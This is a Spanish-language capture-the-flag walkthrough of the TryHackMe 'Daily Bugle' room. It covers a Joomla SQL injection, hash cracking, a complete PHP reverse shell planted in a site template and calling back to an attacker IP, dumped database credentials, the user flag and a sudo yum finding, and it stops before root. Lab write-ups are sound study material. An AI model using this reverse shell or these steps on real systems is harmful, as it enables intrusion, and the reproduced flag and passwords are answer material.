Daily Bugle

Enumeramos servicios:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp open  mysql   MariaDB (unauthorized)

Buscamos directorios:

dirsearch -u http://10.10.136.55/ 
Se encontro un README

Nos entrego la version y buscamos un exploit para ello:

Cuando realizamos una investigación rápida, vemos que existe una vulnerabilidad conocida llamada “Joomla! 3.7.0 — 'com_fields' SQL Injection” que podemos usar para explotar con el número CVE “CVE-2017–8917”. Aquí, para que nuestro proceso sea mucho más fácil y rápido, revisé los exploits escritos para esta vulnerabilidad en Github y encontré el repositorio Exploit-Joomla de stefanlucas que incluye un archivo de Python para explotar la vulnerabilidad. Lo descargué y ejecuté el exploit con los parámetros correctos para obtener información crítica de la base de datos del servidor.

¡Y obtuvimos la tabla “fb9j5_users” y eliminamos un usuario de la tabla!

Aquí tenemos algunas credenciales importantes: un nombre de usuario, un correo electrónico y un valor hash para la contraseña.

Inserté el valor hash en un archivo llamado hash y usé a John the Ripper para descifrarlo comparándolo con los valores de una lista de palabras.

Usé rockyou.txt para una búsqueda más amplia para aumentar mi tasa de éxito.

Y ahí vamos, la contraseña de spiderman123 para el usuario Jonah.

Ingresamos a templetes un codigo php malicioso para poder ingresar:

<?php
// Eliminar límites de tiempo
set_time_limit(0);
$VERSION = "1.0";

// Cambia la IP y el puerto a los valores adecuados
$ip = '10.9.0.60'; // Dirección IP del atacante
$port = 443; // Puerto que escuchará el atacante

// Tamaño del chunk para leer datos
$chunk_size = 1400;

// Inicialización
$write_a = null;
$error_a = null;

// Comando inicial
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

// Crea un socket
if (($sock = fsockopen($ip, $port)) !== false) {
    stream_set_blocking($sock, false);
    fwrite($sock, "Conexión establecida.\n");

    // Lanza un proceso interactivo
    $process = proc_open($shell, [
        0 => $sock,  // STDIN
        1 => $sock,  // STDOUT
        2 => $sock   // STDERR
    ], $pipes);

    while (1) {
        if (feof($sock)) {
            break;
        }
        usleep(100000); // Reducir uso de CPU
    }

    proc_close($process);
    fclose($sock);
}
?>

Ingresamos a la ruta y con nc a la escucha

uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ whoami
whoami
apache
sh-4.2$ 

Podemos ejecutar limpeas

En linpeas se encontro;

sh-4.2$ cat /var/www/html/configuration.php
cat /var/www/html/configuration.php
<?php
class JConfig {
        public $offline = '0';
        public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
        public $display_offline_message = '1';
        public $offline_image = '';
        public $sitename = 'The Daily Bugle';
        public $editor = 'tinymce';
        public $captcha = '0';
        public $list_limit = '20';
        public $access = '1';
        public $debug = '0';
        public $debug_lang = '0';
        public $dbtype = 'mysqli';
        public $host = 'localhost';
        public $user = 'root';
        public $password = 'nv5uz9r3ZEDzVjNu';
        public $db = 'joomla';
        public $dbprefix = 'fb9j5_';
        public $live_site = '';
        public $secret = 'UAMBRWzHO3oFPmVC';
        public $gzip = '0';
        public $error_reporting = 'default';
        public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}';
        public $ftp_host = '127.0.0.1';
        public $ftp_port = '21';
        public $ftp_user = '';
        public $ftp_pass = '';
        public $ftp_root = '';
        public $ftp_enable = '0';
        public $offset = 'UTC';
        public $mailonline = '1';
        public $mailer = 'mail';
        public $mailfrom = 'jonah@tryhackme.com';
        public $fromname = 'The Daily Bugle';
        public $sendmail = '/usr/sbin/sendmail';
        public $smtpauth = '0';
        public $smtpuser = '';
        public $smtppass = '';
        public $smtphost = 'localhost';
        public $smtpsecure = 'none';
        public $smtpport = '25';
        public $caching = '0';
        public $cache_handler = 'file';
        public $cachetime = '15';
        public $cache_platformprefix = '0';
        public $MetaDesc = 'New York City tabloid newspaper';
        public $MetaKeys = '';
        public $MetaTitle = '1';
        public $MetaAuthor = '1';
        public $MetaVersion = '0';
        public $robots = '';
        public $sef = '1';
        public $sef_rewrite = '0';
        public $sef_suffix = '0';
        public $unicodeslugs = '0';
        public $feed_limit = '10';
        public $feed_email = 'none';
        public $log_path = '/var/www/html/administrator/logs';
        public $tmp_path = '/var/www/html/tmp';
        public $lifetime = '15';
        public $session_handler = 'database';
        public $shared_session = '0';
}sh-4.2$ 

Después de una verificación rápida del sistema y de observar los archivos del sitio web, encontramos un archivo de configuración que tenía las credenciales de una base de datos. El usuario root tenía la contraseña: nv5uz9r3ZEDzVjNu.

Obtener acceso de usuario

Podemos usar esta contraseña para iniciar sesión en la máquina a través de SSH o desde la propia consola cambiar del usuario apache a jjameson.

┌──(docker㉿docker)-[~/Tryhackme/Exploit-Joomla]
└─$ ssh jjameson@10.10.136.55  
The authenticity of host '10.10.136.55 (10.10.136.55)' can't be established.
ED25519 key fingerprint is SHA256:Gvd5jH4bP7HwPyB+lGcqZ+NhGxa7MKX4wXeWBvcBbBY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.136.55' (ED25519) to the list of known hosts.
jjameson@10.10.136.55's password: 
Last login: Mon Dec 16 05:14:55 2019 from netwars
[jjameson@dailybugle ~]$ l               
-bash: l: command not found
[jjameson@dailybugle ~]$ ls
user.txt
[jjameson@dailybugle ~]$ cat user.txt 
27a260fe3cba712cfdedb1c86d80442e

Una vez adentro tendremos que escalar privilegios;

sudo -l
[jjameson@dailybugle ~]$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset,
    env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
    USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME
    LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum

Se puede ver un yum

Last updated